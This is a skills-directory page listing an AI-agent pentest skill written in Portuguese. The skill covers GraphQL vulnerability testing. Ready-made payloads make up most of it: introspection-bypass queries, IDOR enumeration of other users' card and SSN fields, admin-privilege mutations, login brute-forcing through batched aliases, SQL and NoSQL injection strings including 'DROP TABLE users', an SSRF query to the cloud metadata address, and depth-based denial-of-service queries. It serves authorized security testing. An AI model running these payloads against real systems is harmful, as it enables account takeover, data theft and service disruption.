Skip to content
Back to skills

Khaos Graphql Testing

ASecurity

Teste completo de vulnerabilidades GraphQL — 8 classes (introspection, BOLA/IDOR, BFLA, injection, batching abuse, field suggestion, alias bypass, DoS por depth/complexity). Inclui queries de exemplo e tools (InQL, Clairvoyance).

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythongorubybashsqltestinggitapibackendsecurity

Works with

  • api

Security analysis

A96/100
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-graphql-testing --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Graphql Testing?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Graphql Testing
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-graphql-testing-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-graphql-testing-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-graphql-testing
description: Teste completo de vulnerabilidades GraphQL — 8 classes (introspection, BOLA/IDOR, BFLA, injection, batching abuse, field suggestion, alias bypass, DoS por depth/complexity). Inclui queries de exemplo e tools (InQL, Clairvoyance).
metadata:
  khaos:
    tool_ids: [httpx, ffuf]
    wordlist_ids: []
    stages: [recon, authorization, exploitation, fuzzing]
    source_type: original
    source:
      repository: https://github.com/henriqqw/Khaos
      revision: embedded
      path: khaos-graphql-testing/SKILL.md
      license: not-declared
      reviewed_by: Khaos maintainers
      review_note: >
        Skill baseada no artigo "GraphQL Vulnerabilities: The Bug Class Most Hunters
        Don't Know How to Test" (osintteam.blog, Nov 2026) — paywalled, complementado por
        pesquisa pública (PortSwigger, Stingrai, DecryptionDigest). Cobre todas as classes
        de vuln GraphQL com queries prontas para usar.
---

# GraphQL — Teste Completo de Vulnerabilidades

**Stages:** recon / authorization / exploitation / fuzzing
**Referência:** osintteam.blog (Nov 2026) + PortSwigger GraphQL labs

> **Descoberta do endpoint:** tentar `/graphql`, `/api/graphql`, `/v1/graphql`, `/gql`, `/query`. Usar httpx para detectar `Content-Type: application/json` em POST com `{"query":"{}"}`.

---

## Fase 1 — Recon: detectar e fingerprint

```bash
# Detectar endpoint GraphQL
ffuf -w graphql-paths.txt -u https://target.com/FUZZ -mc 200,400,405
# Paths: graphql, api/graphql, v1/graphql, gql, query, graphiql

# Probe: enviar query inválida → erro do GraphQL = endpoint confirmado
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{}"}' | jq .
# Resposta com "errors" array = GraphQL ativo

# Verificar se GET também funciona
curl -sG "https://target.com/graphql" --data-urlencode 'query={__typename}' | jq .
```

---

## Fase 2 — Introspection (schema disclosure)

```graphql
# Query completa de schema
{ __schema { types { name fields { name type { name kind } args { name type { name } } } } } }

# Tipos disponíveis
{ __schema { types { name } } }

# Campos de um tipo específico
{ __type(name: "User") { fields { name type { name } } } }

# Queries e mutations disponíveis
{ __schema { queryType { fields { name } } mutationType { fields { name } } } }
```

**Bypass quando introspection é bloqueada:**
```graphql
# Newlines enganam alguns WAFs que bloqueiam "__schema"
{"query":"{\n__schema\n{types{name}}}"}

# Fragmentos
fragment s on __Schema { types { name } }
query { ...s }
```

---

## Fase 3 — Field Suggestion (schema guessing sem introspection)

GraphQL retorna `"Did you mean X?"` para campos inválidos próximos de existentes.

```graphql
# Tentar campos com typo → GraphQL sugere o real
{ uer { email } }        # → "Did you mean 'user'?"
{ users { pasword } }    # → "Did you mean 'password'?"
```

**Ferramenta Clairvoyance:**
```bash
# Reconstrução automatizada do schema via field suggestion
pip install clairvoyance
python3 -m clairvoyance \
  -t https://target.com/graphql \
  -H "Authorization: Bearer <token>" \
  -o schema.json

# Depois visualizar em GraphQL Voyager ou importar no InQL
```

---

## Fase 4 — BOLA / IDOR em queries

```graphql
# Acesso a dados de outro usuário
{ user(id: "victim_id") { email phone creditCard ssn } }
{ order(id: "ORD-99999") { total items user { email } } }
{ invoice(uuid: "another-uuid") { amount paid customer } }

# Enumerar IDs
{ user(id: "1") { email } }
{ user(id: "2") { email } }
# Usar InQL "IDOR Scanner" para automatizar
```

**Campos sensíveis a procurar:**
```
email, phone, address, creditCard, ssn, dob
password, passwordHash, secret, token, apiKey
role, permissions, is_admin, internalId
```

---

## Fase 5 — BFLA (admin mutations com token de usuário)

```graphql
# Deletar usuário
mutation { deleteUser(id: "victim_id") { success } }

# Promover a admin
mutation { updateUserRole(id: "my_id", role: "ADMIN") { success } }

# Criar usuário admin
mutation { createUser(email: "a@evil.com", password: "pass", role: "ADMIN") { id } }

# Modificar configuração global
mutation { updateConfig(key: "max_users", value: "0") { success } }

# Acessar queries admin
{ adminStats { totalUsers revenue } }
{ allUsers { id email role creditCard } }
```

---

## Fase 6 — Batching abuse (rate limit bypass)

GraphQL permite múltiplas operações em uma única request HTTP — rate limiters que contam requests por IP são bypassados.

### Array batching

```json
[
  {"query": "{ login(email: \"victim@a.com\", password: \"pass1\") { token } }"},
  {"query": "{ login(email: \"victim@a.com\", password: \"pass2\") { token } }"},
  {"query": "{ login(email: \"victim@a.com\", password: \"pass3\") { token } }"}
]
```

### Alias batching

```graphql
query {
  a1: login(email: "victim@a.com", password: "pass1") { token }
  a2: login(email: "victim@a.com", password: "pass2") { token }
  a3: login(email: "victim@a.com", password: "pass3") { token }
}
```

**Combinação com rate limit bypass:** 100 aliases por request = 100 tentativas de login = 1 request HTTP para o rate limiter.

---

## Fase 7 — GraphQL Injection

```graphql
# SQL Injection via argumento
{ user(id: "1 OR 1=1") { data } }
{ search(term: "'; DROP TABLE users;--") { results } }
{ products(filter: "category = 'a' UNION SELECT password FROM users--") { name } }

# NoSQL Injection (MongoDB backend)
{ users(filter: "{\"username\":{\"$regex\":\"admin\"},\"password\":{\"$ne\":\"\"}}") { data } }

# SSRF via mutation que faz fetch
mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }
```

---

## Fase 8 — DoS por complexidade / profundidade

```graphql
# Consulta circular profunda (se não houver depth limit)
{
  users {
    friends {
      friends {
        friends {
          friends {
            friends { email }  # profundidade 6+
          }
        }
      }
    }
  }
}

# Query de alto custo (se não houver complexity limit)
{ allUsers { allPosts { allComments { allLikes { user { allPosts { ... } } } } } } }
```

**Nota:** reportar como DoS/resource exhaustion apenas se confirmar que servidor fica lento/indisponível. Não abusar em produção.

---

## Ferramentas

| Ferramenta | Uso |
|---|---|
| **InQL** (Burp extension) | Schema analysis, IDOR scanner, query generation |
| **GraphQL Voyager** | Visualização do schema como grafo |
| **Clairvoyance** | Schema reconstruction sem introspection |
| **GraphQLmap** | BOLA ID iteration, injection testing |
| **Altair / GraphiQL** | Exploração manual de queries |

```bash
# InQL — scanner de IDOR em IDs numéricos
# Instalar via Burp Extension > BApp Store > InQL

# GraphQL Voyager — visualizar schema
# graphql-voyager.netlify.app → colar schema JSON

# Clairvoyance — schema sem introspection
python3 -m clairvoyance -t https://target.com/graphql -o schema.json
```

---

## CVE relevante

**CVE-2025-27407** — graphql-ruby: RCE via schema loading quando introspection está desabilitada. Afeta versões < 2.4.12. Exploração independente de introspection estar habilitada.

---

## Referências

- osintteam.blog, "GraphQL Vulnerabilities" (Nov 2026)
- PortSwigger GraphQL Labs: portswigger.net/web-security/graphql
- Clairvoyance: github.com/nikitastupin/clairvoyance
- InQL: github.com/doyensec/inql
- Stingrai: stingrai.io/blog/graphql-api-vulnerabilities-and-common-attacks

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.